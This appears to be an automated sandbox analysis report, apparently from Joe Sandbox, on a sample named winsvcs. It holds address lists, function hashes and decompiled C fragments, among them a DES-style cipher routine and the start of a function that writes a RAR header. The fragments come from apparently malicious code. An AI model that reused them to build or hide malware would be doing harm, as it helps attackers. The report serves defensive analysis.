0x0039e75a
0x0039e75d
0x0039e75f
0x0039e75f
0x0039e75f
0x0039e760
0x0039e768
0x0039e76b
0x0039e76e
0x0039e779
0x0039e77b
0x0039e77d
0x0039e77d
0x0039e77d
0x0039e780
0x0039e783
0x0039e786
0x0039e786
0x0039e78d
0x0039e790
0x0039e792
0x0039e795
0x0039e796
0x00000000
0x0039e798
0x0039e79b
0x0039e79e
0x0039e7a2
0x0039e7a2
0x0039e796
0x0039e6fb
0x0039e6fb
0x0039e6fb
0x0039e6fd
0x00000000
0x00000000
0x0039e6ff
0x0039e70e
0x0039e710
0x0039e712
0x0039e71a
0x0039e71d
0x0039e724
0x0039e726
0x0039e729
0x0039e72c
0x0039e72f
0x00000000
0x00000000
0x00000000
0x0039e72f
0x0039e731
0x0039e734
0x0039e7a7
0x0039e7a7
0x00000000
0x00000000
0x00000000
0x0039e734
0x0039e7b0
0x0039e7b3
0x0039e7c3
0x0039e7c3
0x0039e7c6
0x0039e7c9
0x0039e7ff
0x0039e7ff
0x0039e800
0x00000000
0x0039e7cb
0x0039e7cb
0x0039e7ce
0x0039e7d1
0x0039e7d4
0x0039e7f6
0x0039e7f6
0x0039e7f7
0x0039e7d6
0x0039e7d6
0x0039e7df
0x0039e7e2
0x0039e7e5
0x0039e7f0
0x0039e7e7
0x0039e7e7
0x0039e7eb
0x0039e7eb
0x0039e7e5
0x0039e7fa
0x0039e7fa
0x0039e7b5
0x0039e7bb
0x0039e7c1
0x0039e803
0x0039e803
0x00000000
0x00000000
0x00000000
0x0039e7c1
0x0039e80b
0x0039e80e
0x00000000
0x0039e810
0x0039e817
0x0039e81e
0x0039e821
0x0039e824
0x0039e827
0x0039e82a
0x0039e82a
0x0039e62e
0x0039e62f
0x0039e636
0x0039e639
0x00000000
0x0039e63b
0x0039e63b
0x0039e63e
0x00000000
0x0039e640
0x0039e640
0x0039e642
0x00000000
0x00000000
0x00000000
0x00000000
0x0039e642
0x0039e63e
0x0039e639
0x00000000
0x0039e607
0x0039e607
0x0039e608
0x0039e60f
0x0039e612
0x00000000
0x0039e614
0x0039e614
0x0039e616
0x00000000
0x0039e618
0x0039e618
0x0039e61a
0x00000000
0x0039e61c
0x0039e61e
0x0039e61e
0x0039e61a
0x0039e616
0x0039e612
0x0039e5fa
0x0039e5fa
0x0039e5fa
0x0039e847
0x0039e847
0x0039e849
0x0039e84b
0x0039e84e
0x0039e851
0x0039e851
0x0039e851
0x0039e5f8
0x0039e5ee
0x0039e5e4
0x0039e854
0x0039e854
0x0039e857
0x0039e85a
0x0039e85a
0x0039e862
0x0039e862
0x0039e549
0x0039e875
0x0039e878
0x0039e87b
0x0039e882
0x0039e885
0x0039e888
0x0039e88a
0x0039e891
0x0039e89a
0x0039e89d
0x0039e8a5
0x0039e8a7
0x0039e8aa
0x0039e8ac
0x0039e8b1
0x0039e8b9
0x0039e8bc
0x0039e8bf
0x0039eb05
0x0039eb07
0x0039eb14
0x0039eb14
0x0039eb19
0x00000000
0x0039e8c5
0x0039e8c5
0x0039e8c8
0x0039e8cc
0x00000000
0x0039e8d2
0x0039e8d2
0x0039e8d6
0x00000000
0x0039e8dc
0x0039e8dc
0x0039e8e0
0x0039e8ea
0x0039e8ed
0x0039e90f
0x0039e90f
0x0039e912
0x0039e92d
0x0039e92d
0x0039e92f
0x0039e934
0x0039e937
0x0039e938
0x0039e938
0x0039e93a
0x0039e93c
0x0039e941
0x0039e944
0x0039e947
0x0039e94a
0x0039e94d
0x0039e953
0x0039e956
0x0039e959
0x0039e95c
0x0039e95f
0x0039e961
0x0039e967
0x0039e969
0x0039e963
0x0039e963
0x0039e965
0x0039e96c
0x00000000
0x00000000
0x00000000
0x0039e965
0x0039e96f
0x0039e972
0x0039e974
0x0039e976
0x0039e976
0x0039e976
0x0039e97f
0x0039e982
0x0039e985
0x0039e988
0x0039e989
0x0039e98c
0x0039e98c
0x0039e990
0x0039e993
0x0039e993
0x0039e996
0x0039e999
0x0039e99a
0x0039e99b
0x0039e99e
0x0039e9a1
0x0039e9a1
0x0039e9a8
0x0039e9ab
0x0039e9b1
0x0039e9b4
0x0039ea56
0x00000000
0x0039e9ba
0x0039e9ba
0x0039e9bd
0x0039e9c0
0x0039e9c0
0x0039e9c2
0x00000000
0x00000000
0x0039e9c4
0x0039e9d7
0x0039e9da
0x0039e9e1
0x0039e9e4
0x0039e9e6
0x0039e9e8
0x0039e9eb
0x0039e9ee
0x00000000
0x00000000
0x00000000
0x0039e9ee
0x0039e9f0
0x0039e9f3
0x0039e9f8
0x0039e9f9
0x0039e9fc
0x0039ea59
0x0039ea5e
0x0039ea60
0x0039ea63
0x00000000
0x0039ea65
0x0039ea69
0x0039ea6c
0x0039ea6c
0x0039ea6e
0x0039ea71
0x0039ea74
0x0039ea77
0x0039ea77
0x0039ea7b
0x0039ea7d
0x0039ea7d
0x0039ea7d
0x0039ea7e
0x0039ea8f
0x0039ea91
0x0039ea93
0x0039ea95
0x0039ea95
0x0039ea95
0x0039ea98
0x0039ea9b
0x0039ea9b
0x0039eaa2
0x0039eaa4
0x0039eaa7
0x0039eaaa
0x0039eaab
0x00000000
0x0039eab1
0x0039eab7
0x0039eaba
0x0039eabe
0x00000000
0x0039eabe
0x0039eaab
0x00000000
0x0039e9fe
0x0039e9fe
0x0039e9fe
0x0039e9fe
0x0039e9fc
0x0039ea02
0x0039ea07
0x0039ea0a
0x0039ea1e
0x0039ea1e
0x0039ea21
0x0039ea24
0x0039ead7
0x0039ead7
0x0039ead8
0x0039ea2a
0x0039ea2a
0x0039ea2d
0x0039ea30
0x0039ea33
0x0039eace
0x0039eace
0x0039eacf
0x0039ea39
0x0039ea39
0x0039ea42
0x0039ea45
0x0039ea48
0x0039eac8
0x0039ea4a
0x0039ea4f
0x0039ea50
0x0039ea50
0x0039ea48
0x0039ead2
0x0039ead2
0x0039ea0c
0x0039ea12
0x0039ea18
0x00000000
0x00000000
0x0039ea18
0x0039eae0
0x0039eae3
0x00000000
0x0039eae5
0x0039eaec
0x0039eaf3
0x0039eaf6
0x0039eaf9
0x0039eafc
0x0039eaff
0x0039eaff
0x0039e914
0x0039e915
0x0039e91c
0x0039e91f
0x00000000
0x0039e921
0x0039e921
0x0039e925
0x00000000
0x0039e927
0x0039e927
0x0039e92b
0x00000000
0x00000000
0x00000000
0x00000000
0x0039e92b
0x0039e925
0x0039e91f
0x0039e8ef
0x0039e8ef
0x0039e8f0
0x0039e8f7
0x0039e8fa
0x00000000
0x0039e8fc
0x0039e8fc
0x0039e8fe
0x00000000
0x0039e900
0x0039e900
0x0039e902
0x00000000
0x0039e904
0x0039e906
0x0039e906
0x0039e902
0x0039e8fe
0x0039e8fa
0x0039e8e2
0x0039e8e2
0x0039e8e2
0x0039eb1c
0x0039eb1c
0x0039eb1e
0x0039eb1e
0x0039e8e0
0x0039e8d6
0x0039e8cc
0x0039e8bf
0x0039eb20
0x0039eb20
0x0039eb24
0x0039eb27
0x0039eb2a
0x0039eb2d
0x0039eb30
0x0039eb68
0x00000000
0x0039eb32
0x0039eb33
0x0039eb35
0x0039eb38
0x0039eb3a
0x0039eb6b
0x0039eb6d
0x0039eb6e
0x0039eb70
0x0039eb72
0x0039eb72
0x0039eb81
0x0039eb85
0x0039eb88
0x0039eb8c
0x0039eb8f
0x0039eb90
0x0039eb94
0x0039eb9e
0x0039eba0
0x0039eba2
0x0039eba4
0x0039eba7
0x0039ebaa
0x0039ebaa
0x0039ebaa
0x0039ebad
0x0039ebb0
0x0039ebb3
0x0039ebb6
0x0039ebbb
0x0039ebbc
0x0039ebbe
0x0039ebc2
0x0039ebc2
0x0039ebc8
0x0039ebca
0x0039ebcd
0x0039ebd6
0x0039ebd9
0x0039ebdd
0x0039ebdf
0x0039ebe1
0x0039ebe2
0x0039ebe5
0x0039ebe8
0x0039ebe8
0x0039ebec
0x0039ebef
0x0039ebef
0x0039ebf1
0x0039ebf4
0x0039ebf4
0x0039ebc8
0x0039ebf7
0x0039ebfd
0x0039ebfe
0x0039ec01
0x0039ec04
0x0039ec07
0x0039ec09
0x0039ec0c
0x0039ec0e
0x0039ec14
0x0039ec1f
0x0039ec22
0x0039ec23
0x0039ec24
0x0039ec2c
0x0039ec2e
0x0039ec3f
0x0039ec46
0x0039ec4a
0x0039ec4d
0x0039ec4f
0x0039ec52
0x0039ec55
0x0039ec57
0x00000000
0x00000000
0x0039ec59
0x0039ec5b
0x00000000
0x00000000
0x0039ec78
0x0039ec78
0x0039ec7b
0x0039ec7e
0x0039ec80
0x0039ec86
0x0039ec86
0x0039ec86
0x0039ec82
0x0039ec82
0x0039ec84
0x00000000
0x00000000
0x0039ec84
0x0039ec91
0x0039ec96
0x0039ec99
0x0039ec9f
0x0039eca7
0x0039ecaa
0x0039ecac
0x0039ecaf
0x0039ecb7
0x0039ecba
0x0039ecbc
0x0039ecc0
0x0039ecc1
0x0039ecc4
0x0039ecc7
0x0039ecc9
0x0039ecce
0x00000000
0x0039ecce
0x0039ecd6
0x0039ecd9
0x00000000
0x0039ec5d
0x0039ec5d
0x0039ec60
0x0039ec62
0x0039ec64
0x0039ec6b
0x0039ec6d
0x0039ec6d
0x0039ec66
0x0039ec66
0x0039ec69
0x00000000
0x00000000
0x0039ec69
0x0039ec6e
0x0039ec70
0x0039ec72
0x0039ec75
0x0039ec77
0x0039ec77
0x0039ec77
0x00000000
0x0039ec75
0x0039ec14
0x0039ecdc
0x0039ecdf
0x0039ece2
0x0039ece4
0x0039ed2b
0x0039ed2b
0x0039ed2d
0x00000000
0x00000000
0x0039ed25
0x0039ed28
0x0039ed2a
0x0039ed2a
0x00000000
0x0039ed2a
0x00000000
0x0039ed28
0x0039ed2f
0x0039ed31
0x00000000
0x0039ed33
0x0039ed33
0x0039ed38
0x0039ed40
0x0039ed4d
0x0039ed52
0x0039ed53
0x0039ed56
0x00000000
0x0039ed56
0x0039ece6
0x0039ecf1
0x0039ecf1
0x0039ecf3
0x00000000
0x00000000
0x0039ece8
0x0039eceb
0x0039eced
0x0039ecf0
0x0039ecf0
0x00000000
0x0039ecf0
0x00000000
0x0039eceb
0x0039ecf5
0x0039ecf7
0x0039ecf9
0x0039ecfa
0x0039ecfa
0x0039ecfa
0x0039ecfd
0x0039ecfd
0x0039ecff
0x0039ecff
0x0039ed04
0x0039ed07
0x0039ed0d
0x0039ed13
0x0039ed13
0x0039ed13
0x0039eb3c
0x0039eb3e
0x0039eb46
0x0039eb53
0x0039eb58
0x0039eb58
0x0039eb59
0x0039eb5c
0x0039eb60
0x0039eb60
0x0039eb60
0x0039eb3a
0x0039e40f
0x0039e411
0x0039e414
0x0039e428
0x0039e42b
0x0039e42d
0x0039e42d
0x0039ed14
0x0039ed17
0x0039ed18
0x0039ed1b
0x0039ed24
0x0039ed24

APIs

Part of subcall function 00394B44: ___raise_securityfailure.LIBCMT ref: 00396C55

__invoke_watson.LIBCMT ref: 0039ED65

Part of subcall function 00399DEC: __call_reportfault.LIBCMT ref: 00399E07

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: ___raise_securityfailure__call_reportfault__invoke_watson
String ID:
API String ID: 1460553025-0
Opcode ID: 1497e1df8020cceb6332f098ebe97eeab0e6d0131f08b5efdd6b6ec6eeaf3503
Instruction ID: e511346c3e38117a4cad7d26e2f42210f20f762336c6c14976aff40a8777f7ff
Opcode Fuzzy Hash: 1497e1df8020cceb6332f098ebe97eeab0e6d0131f08b5efdd6b6ec6eeaf3503
Instruction Fuzzy Hash: 10627F76E002598FDF25CFA8C8412EDBBB2FF58710F26856AD855EB341E7749942CB80

Uniqueness

Uniqueness Score: 100.00%

Function 0040D000, Relevance: 1.5, APIs: 1, Instructions: 37COMMON

APIs

GetLocaleInfoA.KERNEL32 ref: 0040D00C

Memory Dump Source

Source File: 00000002.00000002.627206303.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_40d000_winsvcs.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction ID: 7563f55c4f9bbdcef76628da80b370f672028dd7e15f4a8e9ea682cd1bea7043
Opcode Fuzzy Hash: cb1bebb0fbb5acb81b67b89c6ed6eee8ee79be1474fbb757fb0bfad538b83840
Instruction Fuzzy Hash: C5F0B4B2900A029AE730DF66DC4297BB7F8EF5435D710803FE456D15E1DB3CE54A9A08

Uniqueness

Uniqueness Score: 0.00%

Function 0040E6CE, Relevance: .4, Instructions: 384COMMON

Memory Dump Source

Source File: 00000002.00000002.627206303.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 3f1368360bc63a00940a53fe7bf4977eb3bb5925c12a3b4f9f1a0e9772d25fd4
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 9FD16973D1E9B30AC775816E406862BEE626FD165031ECBB29CD03F3C9923E9D149AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040E2AE, Relevance: .4, Instructions: 378COMMON

Memory Dump Source

Source File: 00000002.00000002.627206303.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 742966dcffa90f0ccd095b14587d3770e6b458e28732fa30f4ca6a1d24030618
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: D4D16973D1E9B30AC735816E406852BEE626FD165431ECBF28CA03F3C9923E9C159AD4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DEA2, Relevance: .4, Instructions: 361COMMON

Memory Dump Source

Source File: 00000002.00000002.627206303.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 7fca493d879a62e6918e710b23eb95b4d266cc73d089ae5d791de806530453cb
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: 42C17A73D1E9B30AC736816E405862BEE626FD165431ECBB28CD03F3C9963E9C1899D4

Uniqueness

Uniqueness Score: 0.00%

Function 0040DACE, Relevance: .4, Instructions: 351COMMON

Memory Dump Source

Source File: 00000002.00000002.627206303.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_40d000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: ce88f9485176d4875145ff3ea6bfcb71f8838c56104a01cd68228ac215d480a9
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 90C16A73D1E9B30AC73681AD445862BEE626FD165432EC7B28C903F3C9D63E9D0899D4

Uniqueness

Uniqueness Score: 0.00%

Function 00404716, Relevance: .3, Instructions: 303
COMMONCrypto

C-Code - Quality: 100%

			E00404716(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int* _t334;

				_v24 =  *_a4;
				_v20 = _a4[1];
				_v16 = (_v24 >> 0x00000004 ^ _v20) & 0x0f0f0f0f;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000004 ^ _v24;
				_v16 = (_v24 >> 0x00000010 ^ _v20) & 0x0000ffff;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000010 ^ _v24;
				_v16 = (_v20 >> 0x00000002 ^ _v24) & 0x33333333;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000002 ^ _v20;
				_v16 = (_v20 >> 0x00000008 ^ _v24) & 0x00ff00ff;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000008 ^ _v20;
				_v20 = _v20 << 0x00000001 | _v20 >> 0x0000001f & 0x00000001;
				_v16 = (_v24 ^ _v20) & 0xaaaaaaaa;
				_v24 = _v24 ^ _v16;
				_v20 = _v20 ^ _v16;
				_v24 = _v24 << 0x00000001 | _v24 >> 0x0000001f & 0x00000001;
				_v12 = _v12 & 0x00000000;
				while(_v12 < 8) {
					_v16 = _v20 << 0x0000001c | _v20 >> 0x00000004;
					_v16 = _v16 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 =  *((intOrPtr*)(0x40a7a8 + (_v16 & 0x0000003f) * 4));
					_v8 = _v8 |  *(0x40a5a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a3a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a1a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v16 = _v20 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 = _v8 |  *(0x40a8a8 + (_v16 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a6a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a4a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a2a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v24 = _v24 ^ _v8;
					_v16 = _v24 << 0x0000001c | _v24 >> 0x00000004;
					_v16 = _v16 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 =  *((intOrPtr*)(0x40a7a8 + (_v16 & 0x0000003f) * 4));
					_v8 = _v8 |  *(0x40a5a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a3a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a1a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v16 = _v24 ^  *_a8;
					_a8 =  &(_a8[1]);
					_v8 = _v8 |  *(0x40a8a8 + (_v16 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a6a8 + (_v16 >> 0x00000008 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a4a8 + (_v16 >> 0x00000010 & 0x0000003f) * 4);
					_v8 = _v8 |  *(0x40a2a8 + (_v16 >> 0x00000018 & 0x0000003f) * 4);
					_v20 = _v20 ^ _v8;
					_v12 = _v12 + 1;
				}
				_v20 = _v20 << 0x0000001f | _v20 >> 0x00000001;
				_v16 = (_v24 ^ _v20) & 0xaaaaaaaa;
				_v24 = _v24 ^ _v16;
				_v20 = _v20 ^ _v16;
				_v24 = _v24 << 0x0000001f | _v24 >> 0x00000001;
				_v16 = (_v24 >> 0x00000008 ^ _v20) & 0x00ff00ff;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000008 ^ _v24;
				_v16 = (_v24 >> 0x00000002 ^ _v20) & 0x33333333;
				_v20 = _v20 ^ _v16;
				_v24 = _v16 << 0x00000002 ^ _v24;
				_v16 = (_v20 >> 0x00000010 ^ _v24) & 0x0000ffff;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000010 ^ _v20;
				_v16 = (_v20 >> 0x00000004 ^ _v24) & 0x0f0f0f0f;
				_v24 = _v24 ^ _v16;
				_v20 = _v16 << 0x00000004 ^ _v20;
				 *_a4 = _v20;
				_a4 =  &(_a4[1]);
				_t334 = _a4;
				 *_t334 = _v24;
				return _t334;
			}

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd64f225115594afbc79f987211180f457aebf0ef1649353de52f1f794cb4b6a
Instruction ID: 14ec897d9178e52ff913172af6fc66b79df72866a3450b45997323dd1d4e672f
Opcode Fuzzy Hash: bd64f225115594afbc79f987211180f457aebf0ef1649353de52f1f794cb4b6a
Instruction Fuzzy Hash: CFE159B5E10259AFDB44CF9CD981AAEB7F0FB48300B54856AE429EB340D734AB12DF15

Uniqueness

Uniqueness Score: 0.00%

Function 00404811, Relevance: .1, Instructions: 142
COMMONCrypto

C-Code - Quality: 100%

			E00404811() {
				signed int* _t225;
				void* _t340;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t340 - 8)) =  *((intOrPtr*)(_t340 - 8)) + 1;
					L1:
					if( *((intOrPtr*)(_t340 - 8)) < 8) {
						L2:
						 *(_t340 - 0xc) =  *(_t340 - 0x10) << 0x0000001c |  *(_t340 - 0x10) >> 0x00000004;
						 *(_t340 - 0xc) =  *(_t340 - 0xc) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(0x40a7a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a5a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a3a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a1a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0xc) =  *(_t340 - 0x10) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a8a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a6a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a4a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a2a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 4);
						 *(_t340 - 0xc) =  *(_t340 - 0x14) << 0x0000001c |  *(_t340 - 0x14) >> 0x00000004;
						 *(_t340 - 0xc) =  *(_t340 - 0xc) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(0x40a7a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a5a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a3a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a1a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0xc) =  *(_t340 - 0x14) ^  *( *(_t340 + 0xc));
						 *(_t340 + 0xc) =  &(( *(_t340 + 0xc))[1]);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a8a8 + ( *(_t340 - 0xc) & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a6a8 + ( *(_t340 - 0xc) >> 0x00000008 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a4a8 + ( *(_t340 - 0xc) >> 0x00000010 & 0x0000003f) * 4);
						 *(_t340 - 4) =  *(_t340 - 4) |  *(0x40a2a8 + ( *(_t340 - 0xc) >> 0x00000018 & 0x0000003f) * 4);
						 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 4);
						continue;
					}
					L3:
					 *(_t340 - 0x10) =  *(_t340 - 0x10) << 0x0000001f |  *(_t340 - 0x10) >> 0x00000001;
					 *(_t340 - 0xc) = ( *(_t340 - 0x14) ^  *(_t340 - 0x10)) & 0xaaaaaaaa;
					 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 0xc);
					 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 0xc);
					 *(_t340 - 0x14) =  *(_t340 - 0x14) << 0x0000001f |  *(_t340 - 0x14) >> 0x00000001;
					 *(_t340 - 0xc) = ( *(_t340 - 0x14) >> 0x00000008 ^  *(_t340 - 0x10)) & 0x00ff00ff;
					 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 0xc);
					 *(_t340 - 0x14) =  *(_t340 - 0xc) << 0x00000008 ^  *(_t340 - 0x14);
					 *(_t340 - 0xc) = ( *(_t340 - 0x14) >> 0x00000002 ^  *(_t340 - 0x10)) & 0x33333333;
					 *(_t340 - 0x10) =  *(_t340 - 0x10) ^  *(_t340 - 0xc);
					 *(_t340 - 0x14) =  *(_t340 - 0xc) << 0x00000002 ^  *(_t340 - 0x14);
					 *(_t340 - 0xc) = ( *(_t340 - 0x10) >> 0x00000010 ^  *(_t340 - 0x14)) & 0x0000ffff;
					 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 0xc);
					 *(_t340 - 0x10) =  *(_t340 - 0xc) << 0x00000010 ^  *(_t340 - 0x10);
					 *(_t340 - 0xc) = ( *(_t340 - 0x10) >> 0x00000004 ^  *(_t340 - 0x14)) & 0x0f0f0f0f;
					 *(_t340 - 0x14) =  *(_t340 - 0x14) ^  *(_t340 - 0xc);
					 *(_t340 - 0x10) =  *(_t340 - 0xc) << 0x00000004 ^  *(_t340 - 0x10);
					 *( *(_t340 + 8)) =  *(_t340 - 0x10);
					 *(_t340 + 8) =  &(( *(_t340 + 8))[1]);
					_t225 =  *(_t340 + 8);
					 *_t225 =  *(_t340 - 0x14);
					return _t225;
					L4:
				}
			}

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f351e31099eec7b115a4075528beb9fa58c7b80c4a95bc80ee7d51d0f9fb6c99
Instruction ID: 6d43799bb6d581dfe3dd7ad2f79a6606b6df30ddacbac08adfda024078033c92
Opcode Fuzzy Hash: f351e31099eec7b115a4075528beb9fa58c7b80c4a95bc80ee7d51d0f9fb6c99
Instruction Fuzzy Hash: 97614075D10248EFDB08CF88D99299CB7F1FB59300B5481AAE56AAB350DB34AB12DF05

Uniqueness

Uniqueness Score: 0.00%

Function 00020C9F, Relevance: .0, Instructions: 38COMMON

Memory Dump Source

Source File: 00000002.00000002.616189323.00020000.00000040.sdmp, Offset: 00020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_20000_winsvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction ID: 497219795e5702323352ba5b8e24cf6847f2108543f2b84c769f7eff021c4de5
Opcode Fuzzy Hash: da1566a2f6af9372ef5ff0064129cc8c7bd33331f23317b37220a35c5510ad97
Instruction Fuzzy Hash: A2F0CDB6A012248FDB21CF64E849BAE73FAFB84305F2441A5D90AD7242E330A9418B90

Uniqueness

Uniqueness Score: 0.00%

Function 00402807, Relevance: 63.2, APIs: 26, Strings: 10, Instructions: 220
filestringUNIQUE

C-Code - Quality: 100%

			E00402807(WCHAR* _a4, WCHAR* _a8, void* _a12, intOrPtr _a16) {
				char _v130;
				void _v132;
				void* _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v141;
				char _v142;
				char _v143;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v149;
				char _v150;
				char _v151;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				intOrPtr _v160;
				signed int _v162;
				char _v163;
				char _v164;
				intOrPtr _v172;
				long _v177;
				long _v181;
				short _v183;
				short _v185;
				char _v186;
				void _v188;
				long _v192;
				void* _v196;
				void* _v200;
				void* _v204;
				long _v208;
				long _v212;
				void* _v216;
				char _v218;
				char _v219;
				char _v220;
				char _v221;
				char _v222;
				char _v223;
				void _v224;
				signed int _t167;
				signed int _t171;

				_v156 = 0x52;
				_v155 = 0x61;
				_v154 = 0x72;
				_v153 = 0x21;
				_v152 = 0x1a;
				_v151 = 7;
				_v150 = 0;
				_v149 = 0xcf;
				_v148 = 0x90;
				_v147 = 0x73;
				_v146 = 0;
				_v145 = 0;
				_v144 = 0xd;
				_v143 = 0;
				_v142 = 0;
